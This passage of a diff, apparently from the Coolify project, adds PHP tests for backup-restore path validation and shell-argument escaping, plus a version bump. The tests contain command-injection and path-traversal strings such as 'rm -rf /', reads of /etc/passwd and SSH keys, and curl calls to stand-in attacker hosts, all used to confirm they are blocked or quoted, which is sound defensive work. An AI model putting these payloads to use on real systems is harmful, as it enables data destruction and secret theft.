expect($method->invoke($component, 'my-folder/my_backup.sql.gz'))->toBeTrue();
expect($method->invoke($component, 'path/to/deep/file.tar.gz'))->toBeTrue();
expect($method->invoke($component, 'folder with space/file.sql'))->toBeTrue();
});
test('validateS3Path rejects invalid S3 paths', function () {
$component = new Import;
$method = new ReflectionMethod($component, 'validateS3Path');
// Invalid S3 paths (command injection attempts)
expect($method->invoke($component, ''))->toBeFalse(); // Empty
expect($method->invoke($component, '../etc/passwd'))->toBeFalse(); // Directory traversal
expect($method->invoke($component, 'path;rm -rf /'))->toBeFalse();
expect($method->invoke($component, 'path$(whoami)'))->toBeFalse();
expect($method->invoke($component, 'path`id`'))->toBeFalse();
expect($method->invoke($component, 'path|cat /etc/passwd'))->toBeFalse();
expect($method->invoke($component, 'path&ls'))->toBeFalse();
expect($method->invoke($component, "path\nid"))->toBeFalse();
expect($method->invoke($component, "path\r\nid"))->toBeFalse();
expect($method->invoke($component, "path\0id"))->toBeFalse(); // Null byte
expect($method->invoke($component, "path'injection"))->toBeFalse();
expect($method->invoke($component, 'path"injection'))->toBeFalse();
expect($method->invoke($component, 'path\\injection'))->toBeFalse();
});
test('validateServerPath accepts valid server paths', function () {
$component = new Import;
$method = new ReflectionMethod($component, 'validateServerPath');
// Valid server paths (must be absolute)
expect($method->invoke($component, '/tmp/backup.sql'))->toBeTrue();
expect($method->invoke($component, '/var/backups/my-backup.sql'))->toBeTrue();
expect($method->invoke($component, '/home/user/data_backup.sql.gz'))->toBeTrue();
expect($method->invoke($component, '/path/to/deep/nested/file.tar.gz'))->toBeTrue();
});
test('validateServerPath rejects invalid server paths', function () {
$component = new Import;
$method = new ReflectionMethod($component, 'validateServerPath');
// Invalid server paths
expect($method->invoke($component, 'relative/path.sql'))->toBeFalse(); // Not absolute
expect($method->invoke($component, '/path/../etc/passwd'))->toBeFalse(); // Directory traversal
expect($method->invoke($component, '/path;rm -rf /'))->toBeFalse();
expect($method->invoke($component, '/path$(whoami)'))->toBeFalse();
expect($method->invoke($component, '/path`id`'))->toBeFalse();
expect($method->invoke($component, '/path|cat /etc/passwd'))->toBeFalse();
expect($method->invoke($component, '/path&ls'))->toBeFalse();
expect($method->invoke($component, "/path\nid"))->toBeFalse();
expect($method->invoke($component, "/path\r\nid"))->toBeFalse();
expect($method->invoke($component, "/path\0id"))->toBeFalse(); // Null byte
expect($method->invoke($component, "/path'injection"))->toBeFalse();
expect($method->invoke($component, '/path"injection'))->toBeFalse();
expect($method->invoke($component, '/path\\injection'))->toBeFalse();
});

View file

@ -0,0 +1,93 @@
<?php
use App\Events\RestoreJobFinished;
use App\Events\S3RestoreJobFinished;
use App\Models\Server;
/**
* Tests for RestoreJobFinished and S3RestoreJobFinished events to ensure they handle
* null server scenarios gracefully (when server is deleted during operation).
*/
describe('RestoreJobFinished null server handling', function () {
afterEach(function () {
Mockery::close();
});
it('handles null server gracefully in RestoreJobFinished event', function () {
// Mock Server::find to return null (server was deleted)
$mockServer = Mockery::mock('alias:'.Server::class);
$mockServer->shouldReceive('find')
->with(999)
->andReturn(null);
$data = [
'scriptPath' => '/tmp/script.sh',
'tmpPath' => '/tmp/backup.sql',
'container' => 'test-container',
'serverId' => 999,
];
// Should not throw an error when server is null
expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
it('handles null server gracefully in S3RestoreJobFinished event', function () {
// Mock Server::find to return null (server was deleted)
$mockServer = Mockery::mock('alias:'.Server::class);
$mockServer->shouldReceive('find')
->with(999)
->andReturn(null);
$data = [
'containerName' => 'helper-container',
'serverTmpPath' => '/tmp/downloaded.sql',
'scriptPath' => '/tmp/script.sh',
'containerTmpPath' => '/tmp/container-file.sql',
'container' => 'test-container',
'serverId' => 999,
];
// Should not throw an error when server is null
expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
it('handles empty serverId in RestoreJobFinished event', function () {
$data = [
'scriptPath' => '/tmp/script.sh',
'tmpPath' => '/tmp/backup.sql',
'container' => 'test-container',
'serverId' => null,
];
// Should not throw an error when serverId is null
expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
it('handles empty serverId in S3RestoreJobFinished event', function () {
$data = [
'containerName' => 'helper-container',
'serverTmpPath' => '/tmp/downloaded.sql',
'scriptPath' => '/tmp/script.sh',
'containerTmpPath' => '/tmp/container-file.sql',
'container' => 'test-container',
'serverId' => null,
];
// Should not throw an error when serverId is null
expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
it('handles missing data gracefully in RestoreJobFinished', function () {
$data = [];
// Should not throw an error when data is empty
expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
it('handles missing data gracefully in S3RestoreJobFinished', function () {
$data = [];
// Should not throw an error when data is empty
expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
});
});

View file

@ -0,0 +1,61 @@
<?php
/**
* Security tests for RestoreJobFinished event to ensure it uses secure path validation.
*/
describe('RestoreJobFinished event security', function () {
it('validates that safe paths pass validation', function () {
$validPaths = [
'/tmp/restore-backup.sql',
'/tmp/restore-script.sh',
'/tmp/database-dump-'.uniqid().'.sql',
];
foreach ($validPaths as $path) {
expect(isSafeTmpPath($path))->toBeTrue();
}
});
it('validates that malicious paths fail validation', function () {
$maliciousPaths = [
'/tmp/../etc/passwd',
'/tmp/foo/../../etc/shadow',
'/etc/sensitive-file',
'/var/www/config.php',
'/tmp/../../../root/.ssh/id_rsa',
];
foreach ($maliciousPaths as $path) {
expect(isSafeTmpPath($path))->toBeFalse();
}
});
it('rejects URL-encoded path traversal attempts', function () {
$encodedTraversalPaths = [
'/tmp/%2e%2e/etc/passwd',
'/tmp/foo%2f%2e%2e%2f%2e%2e/etc/shadow',
urlencode('/tmp/../etc/passwd'),
];
foreach ($encodedTraversalPaths as $path) {
expect(isSafeTmpPath($path))->toBeFalse();
}
});
it('handles edge cases correctly', function () {
// Too short
expect(isSafeTmpPath('/tmp'))->toBeFalse();
expect(isSafeTmpPath('/tmp/'))->toBeFalse();
// Null/empty
expect(isSafeTmpPath(null))->toBeFalse();
expect(isSafeTmpPath(''))->toBeFalse();
// Null byte injection
expect(isSafeTmpPath("/tmp/file.sql\0../../etc/passwd"))->toBeFalse();
// Valid edge cases
expect(isSafeTmpPath('/tmp/x'))->toBeTrue();
expect(isSafeTmpPath('/tmp/very/deeply/nested/path/to/file.sql'))->toBeTrue();
});
});

View file

@ -0,0 +1,118 @@
<?php
/**
* Security tests for shell metacharacter escaping in restore events.
*
* These tests verify that escapeshellarg() properly neutralizes shell injection
* attempts in paths that pass isSafeTmpPath() validation.
*/
describe('Shell metacharacter escaping in restore events', function () {
it('demonstrates that malicious paths can pass isSafeTmpPath but are neutralized by escapeshellarg', function () {
// This path passes isSafeTmpPath() validation (it's within /tmp/, no .., no null bytes)
$maliciousPath = "/tmp/file'; whoami; '";
// Path validation passes - it's a valid /tmp/ path
expect(isSafeTmpPath($maliciousPath))->toBeTrue();
// But when escaped, the shell metacharacters become literal strings
$escaped = escapeshellarg($maliciousPath);
// The escaped version wraps in single quotes and escapes internal single quotes
expect($escaped)->toBe("'/tmp/file'\\''; whoami; '\\'''");
// Building a command with escaped path is safe
$command = "rm -f {$escaped}";
// The command contains the quoted path, not an unquoted injection
expect($command)->toStartWith("rm -f '");
expect($command)->toEndWith("'");
});
it('escapes paths with semicolon injection attempts', function () {
$path = '/tmp/backup; rm -rf /; echo';
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/tmp/backup; rm -rf /; echo'");
// The semicolons are inside quotes, so they're treated as literals
$command = "rm -f {$escaped}";
expect($command)->toBe("rm -f '/tmp/backup; rm -rf /; echo'");
});
it('escapes paths with backtick command substitution attempts', function () {
$path = '/tmp/backup`whoami`.sql';
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/tmp/backup`whoami`.sql'");
// Backticks inside single quotes are not executed
$command = "rm -f {$escaped}";
expect($command)->toBe("rm -f '/tmp/backup`whoami`.sql'");
});
it('escapes paths with $() command substitution attempts', function () {
$path = '/tmp/backup$(id).sql';
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/tmp/backup\$(id).sql'");
// $() inside single quotes is not executed
$command = "rm -f {$escaped}";
expect($command)->toBe("rm -f '/tmp/backup\$(id).sql'");
});
it('escapes paths with pipe injection attempts', function () {
$path = '/tmp/backup | cat /etc/passwd';
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/tmp/backup | cat /etc/passwd'");
// Pipe inside single quotes is treated as literal
$command = "rm -f {$escaped}";
expect($command)->toBe("rm -f '/tmp/backup | cat /etc/passwd'");
});
it('escapes paths with newline injection attempts', function () {
$path = "/tmp/backup\nwhoami";
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
// Newline is preserved inside single quotes
expect($escaped)->toContain("\n");
expect($escaped)->toStartWith("'");
expect($escaped)->toEndWith("'");
});
it('handles normal paths without issues', function () {
$normalPaths = [
'/tmp/restore-backup.sql',
'/tmp/restore-script.sh',
'/tmp/database-dump-abc123.sql',
'/tmp/deeply/nested/path/to/file.sql',
];
foreach ($normalPaths as $path) {
expect(isSafeTmpPath($path))->toBeTrue();
$escaped = escapeshellarg($path);
// Normal paths are just wrapped in single quotes
expect($escaped)->toBe("'{$path}'");
}
});
it('escapes container names with injection attempts', function () {
// Container names are not validated by isSafeTmpPath, so escaping is critical
$maliciousContainer = 'container"; rm -rf /; echo "pwned';
$escaped = escapeshellarg($maliciousContainer);
expect($escaped)->toBe("'container\"; rm -rf /; echo \"pwned'");
// Building a docker command with escaped container is safe
$command = "docker rm -f {$escaped}";
expect($command)->toBe("docker rm -f 'container\"; rm -rf /; echo \"pwned'");
});
});

View file

@ -0,0 +1,98 @@
<?php
it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
// Test that escapeshellarg works correctly for various malicious inputs
// This is the core security mechanism used in Import.php line 407-410
// Test case 1: Secret with command injection attempt
$maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
$escapedSecret = escapeshellarg($maliciousSecret);
// escapeshellarg should wrap in single quotes and escape any single quotes
expect($escapedSecret)->toBe("'secret\";curl https://attacker.com/ -X POST --data `whoami`;echo \"pwned'");
// When used in a command, the shell metacharacters should be treated as literal strings
$command = "echo {$escapedSecret}";
// The dangerous part (";curl) is now safely inside single quotes
expect($command)->toContain("'secret"); // Properly quoted
expect($escapedSecret)->toStartWith("'"); // Starts with quote
expect($escapedSecret)->toEndWith("'"); // Ends with quote
// Test case 2: Endpoint with command injection
$maliciousEndpoint = 'https://s3.example.com";whoami;"';
$escapedEndpoint = escapeshellarg($maliciousEndpoint);
expect($escapedEndpoint)->toBe("'https://s3.example.com\";whoami;\"'");
// Test case 3: Key with destructive command
$maliciousKey = 'access-key";rm -rf /;echo "';
$escapedKey = escapeshellarg($maliciousKey);
expect($escapedKey)->toBe("'access-key\";rm -rf /;echo \"'");
// Test case 4: Normal credentials should work fine
$normalSecret = 'MySecretKey123';
$normalEndpoint = 'https://s3.amazonaws.com';
$normalKey = 'AKIAIOSFODNN7EXAMPLE';
expect(escapeshellarg($normalSecret))->toBe("'MySecretKey123'");
expect(escapeshellarg($normalEndpoint))->toBe("'https://s3.amazonaws.com'");
expect(escapeshellarg($normalKey))->toBe("'AKIAIOSFODNN7EXAMPLE'");
});
it('verifies command injection is prevented in mc alias set command format', function () {
// Simulate the exact scenario from Import.php:407-410
$containerName = 's3-restore-test-uuid';
$endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
$key = 'AKIATEST";whoami;"';
$secret = 'SecretKey";rm -rf /tmp;echo "';
// Before fix (vulnerable):
// $vulnerableCommand = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} \"{$secret}\"";
// This would allow command injection because $endpoint and $key are not quoted,
// and $secret's double quotes can be escaped
// After fix (secure):
$escapedEndpoint = escapeshellarg($endpoint);
$escapedKey = escapeshellarg($key);
$escapedSecret = escapeshellarg($secret);
$secureCommand = "docker exec {$containerName} mc alias set s3temp {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
// Verify the secure command has properly escaped values
expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
expect($secureCommand)->toContain("'AKIATEST\";whoami;\"'");
expect($secureCommand)->toContain("'SecretKey\";rm -rf /tmp;echo \"'");
// Verify that the command injection attempts are neutered (they're literal strings now)
// The values are wrapped in single quotes, so shell metacharacters are treated as literals
// Check that all three parameters are properly quoted
expect($secureCommand)->toMatch("/mc alias set s3temp '[^']+' '[^']+' '[^']+'/"); // All params in quotes
// Verify the dangerous parts are inside quotes (between the quote marks)
// The pattern "'...\";curl...'" means the semicolon is INSIDE the quoted value
expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
// Ensure we're NOT using the old vulnerable pattern with unquoted values
$vulnerablePattern = 'mc alias set s3temp https://'; // Unquoted endpoint would match this
expect($secureCommand)->not->toContain($vulnerablePattern);
});
it('handles S3 secrets with single quotes correctly', function () {
// Test edge case: secret containing single quotes
// escapeshellarg handles this by closing the quote, adding an escaped quote, and reopening
$secretWithQuote = "my'secret'key";
$escaped = escapeshellarg($secretWithQuote);
// The expected output format is: 'my'\''secret'\''key'
// This is how escapeshellarg handles single quotes in the input
expect($escaped)->toBe("'my'\\''secret'\\''key'");
// Verify it would work in a command context
$containerName = 's3-restore-test';
$endpoint = escapeshellarg('https://s3.amazonaws.com');
$key = escapeshellarg('AKIATEST');
$command = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} {$escaped}";
// The command should contain the properly escaped secret
expect($command)->toContain("'my'\\''secret'\\''key'");
});

View file

@ -0,0 +1,75 @@
<?php
test('S3 path is cleaned correctly', function () {
// Test that leading slashes are removed
$path = '/backups/database.gz';
$cleanPath = ltrim($path, '/');
expect($cleanPath)->toBe('backups/database.gz');
// Test path without leading slash remains unchanged
$path2 = 'backups/database.gz';
$cleanPath2 = ltrim($path2, '/');
expect($cleanPath2)->toBe('backups/database.gz');
});
test('S3 container name is generated correctly', function () {
$resourceUuid = 'test-database-uuid';
$containerName = "s3-restore-{$resourceUuid}";
expect($containerName)->toBe('s3-restore-test-database-uuid');
expect($containerName)->toStartWith('s3-restore-');
});
test('S3 download directory is created correctly', function () {
$resourceUuid = 'test-database-uuid';
$downloadDir = "/tmp/s3-restore-{$resourceUuid}";
expect($downloadDir)->toBe('/tmp/s3-restore-test-database-uuid');
expect($downloadDir)->toStartWith('/tmp/s3-restore-');
});
test('cancelS3Download cleans up correctly', function () {
// Test that cleanup directory path is correct
$resourceUuid = 'test-database-uuid';
$downloadDir = "/tmp/s3-restore-{$resourceUuid}";
$containerName = "s3-restore-{$resourceUuid}";
expect($downloadDir)->toContain($resourceUuid);
expect($containerName)->toContain($resourceUuid);
});
test('S3 file path formats are handled correctly', function () {
$paths = [
'/backups/db.gz',
'backups/db.gz',
'/nested/path/to/backup.sql.gz',
'backup-2025-01-15.gz',
];
foreach ($paths as $path) {
$cleanPath = ltrim($path, '/');
expect($cleanPath)->not->toStartWith('/');
}
});
test('formatBytes helper formats file sizes correctly', function () {
// Test various file sizes
expect(formatBytes(0))->toBe('0 B');
expect(formatBytes(null))->toBe('0 B');
expect(formatBytes(1024))->toBe('1 KB');
expect(formatBytes(1048576))->toBe('1 MB');
expect(formatBytes(1073741824))->toBe('1 GB');
expect(formatBytes(1099511627776))->toBe('1 TB');
// Test with different sizes
expect(formatBytes(512))->toBe('512 B');
expect(formatBytes(2048))->toBe('2 KB');
expect(formatBytes(5242880))->toBe('5 MB');
expect(formatBytes(10737418240))->toBe('10 GB');
// Test precision
expect(formatBytes(1536, 2))->toBe('1.5 KB');
expect(formatBytes(1572864, 1))->toBe('1.5 MB');
});

View file

@ -0,0 +1,53 @@
<?php
use App\Models\S3Storage;
test('S3Storage model has correct cast definitions', function () {
$s3Storage = new S3Storage;
$casts = $s3Storage->getCasts();
expect($casts['is_usable'])->toBe('boolean');
expect($casts['key'])->toBe('encrypted');
expect($casts['secret'])->toBe('encrypted');
});
test('S3Storage isUsable method returns is_usable attribute value', function () {
$s3Storage = new S3Storage;
// Set the attribute directly to avoid encryption
$s3Storage->setRawAttributes(['is_usable' => true]);
expect($s3Storage->isUsable())->toBeTrue();
$s3Storage->setRawAttributes(['is_usable' => false]);
expect($s3Storage->isUsable())->toBeFalse();
$s3Storage->setRawAttributes(['is_usable' => null]);
expect($s3Storage->isUsable())->toBeNull();
});
test('S3Storage awsUrl method constructs correct URL format', function () {
$s3Storage = new S3Storage;
// Set attributes without triggering encryption
$s3Storage->setRawAttributes([
'endpoint' => 'https://s3.amazonaws.com',
'bucket' => 'test-bucket',
]);
expect($s3Storage->awsUrl())->toBe('https://s3.amazonaws.com/test-bucket');
// Test with custom endpoint
$s3Storage->setRawAttributes([
'endpoint' => 'https://minio.example.com:9000',
'bucket' => 'backups',
]);
expect($s3Storage->awsUrl())->toBe('https://minio.example.com:9000/backups');
});
test('S3Storage model is guarded correctly', function () {
$s3Storage = new S3Storage;
// The model should have $guarded = [] which means everything is fillable
expect($s3Storage->getGuarded())->toBe([]);
});

View file

@ -1,10 +1,10 @@
{
"coolify": {
"v4": {
"version": "4.0.0-beta.446"
"version": "4.0.0-beta.447"
},
"nightly": {
"version": "4.0.0-beta.447"
"version": "4.0.0-beta.448"
},
"helper": {
"version": "1.0.12"